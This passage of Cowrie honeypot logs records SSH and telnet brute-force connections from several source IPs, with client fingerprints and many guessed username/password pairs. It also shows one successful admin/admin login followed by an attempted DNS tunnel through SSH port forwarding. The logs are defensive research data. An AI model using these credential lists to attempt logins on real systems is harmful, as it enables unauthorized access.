521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:45.282845Z","src_ip":"45.153.34.97","session":"c10ada652d9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:45.585957Z","src_ip":"45.153.34.97","session":"c10ada652d9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":41058,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e6d4b9a881e","protocol":"ssh","message":"New connection: 103.149.170.125:41058 (159.203.135.109:22) [session: 3e6d4b9a881e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:46.050892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:46.055835Z","src_ip":"103.149.170.125","session":"3e6d4b9a881e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:46.666936Z","src_ip":"103.149.170.125","session":"3e6d4b9a881e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:46.680927Z","src_ip":"45.153.34.97","session":"c10ada652d9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dddddd","message":"login attempt [root/dddddd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:47.460376Z","src_ip":"103.149.170.125","session":"3e6d4b9a881e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.22847294807434,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:47.701068Z","src_ip":"152.42.224.71","session":"649e31eea426","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":61648,"dst_ip":"10.17.0.5","dst_port":22,"session":"f933d0d4f3b0","protocol":"ssh","message":"New connection: 45.153.34.97:61648 (10.17.0.5:22) [session: f933d0d4f3b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:48.671292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:48.679605Z","src_ip":"45.153.34.97","session":"f933d0d4f3b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:48.727952Z","src_ip":"103.149.170.125","session":"3e6d4b9a881e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:48.782076Z","src_ip":"45.153.34.97","session":"f933d0d4f3b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ana","password":"ana","message":"login attempt [ana/ana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:49.310757Z","src_ip":"45.153.34.97","session":"f933d0d4f3b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:50.397677Z","src_ip":"45.153.34.97","session":"f933d0d4f3b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.12833380699158,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:50.510269Z","src_ip":"152.42.224.71","session":"69b0d1dd4dcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.250.238","src_port":33948,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9d67ca92598","protocol":"ssh","message":"New connection: 192.169.250.238:33948 (10.17.0.5:22) [session: e9d67ca92598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:50.649085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:50.653811Z","src_ip":"192.169.250.238","session":"e9d67ca92598","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:50.730829Z","src_ip":"192.169.250.238","session":"e9d67ca92598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"woyebuzhidao","message":"login attempt [root/woyebuzhidao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:51.066410Z","src_ip":"192.169.250.238","session":"e9d67ca92598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.51065444946289,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:51.122352Z","src_ip":"152.42.224.71","session":"9acebdc2ac91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:52.146056Z","src_ip":"192.169.250.238","session":"e9d67ca92598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.21251726150513,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:52.763086Z","src_ip":"152.42.224.71","session":"e8b5609399c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":16232,"dst_ip":"10.17.0.5","dst_port":22,"session":"c90205c873f1","protocol":"ssh","message":"New connection: 45.153.34.97:16232 (10.17.0.5:22) [session: c90205c873f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:52.971974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:53.172557Z","src_ip":"45.153.34.97","session":"c90205c873f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:53.179793Z","src_ip":"45.153.34.97","session":"c90205c873f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.36.83","src_port":33878,"dst_ip":"10.17.0.5","dst_port":22,"session":"2457afe2654f","protocol":"ssh","message":"New connection: 43.153.36.83:33878 (10.17.0.5:22) [session: 2457afe2654f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:54.405287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:54.409834Z","src_ip":"43.153.36.83","session":"2457afe2654f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:54.478540Z","src_ip":"43.153.36.83","session":"2457afe2654f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123root","message":"login attempt [app/123root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:54.492029Z","src_ip":"45.153.34.97","session":"c90205c873f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hong123","message":"login attempt [root/hong123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:54.784842Z","src_ip":"43.153.36.83","session":"2457afe2654f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:55.582529Z","src_ip":"45.153.34.97","session":"c90205c873f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:55.859140Z","src_ip":"43.153.36.83","session":"2457afe2654f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00109481811523,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:56.173186Z","src_ip":"152.42.224.71","session":"e0a03f4c8e2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":39562,"dst_ip":"10.17.0.5","dst_port":22,"session":"79514a9c8540","protocol":"ssh","message":"New connection: 87.251.64.176:39562 (10.17.0.5:22) [session: 79514a9c8540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:57.279264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:57.288294Z","src_ip":"87.251.64.176","session":"79514a9c8540","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:57.384790Z","src_ip":"87.251.64.176","session":"79514a9c8540","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":16236,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f510f3b7ba8","protocol":"ssh","message":"New connection: 45.153.34.97:16236 (10.17.0.5:22) [session: 0f510f3b7ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:57.495529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:57.500865Z","src_ip":"45.153.34.97","session":"0f510f3b7ba8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:57.589639Z","src_ip":"45.153.34.97","session":"0f510f3b7ba8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:57.684839Z","src_ip":"87.251.64.176","session":"79514a9c8540","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:57.789031Z","session":"79514a9c8540","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:57.886969Z","src_ip":"87.251.64.176","session":"79514a9c8540","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:57.985811Z","src_ip":"87.251.64.176","session":"79514a9c8540","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1011","message":"login attempt [root/1011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:58.306701Z","src_ip":"45.153.34.97","session":"0f510f3b7ba8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42994,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e375b20d807","protocol":"telnet","message":"New connection: 152.42.224.71:42994 (10.17.0.5:23) [session: 1e375b20d807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:59.306292Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:59.396038Z","src_ip":"45.153.34.97","session":"0f510f3b7ba8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":60868,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c705bfd466d","protocol":"ssh","message":"New connection: 181.47.9.103:60868 (10.17.0.5:22) [session: 7c705bfd466d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:59.563109Z"}
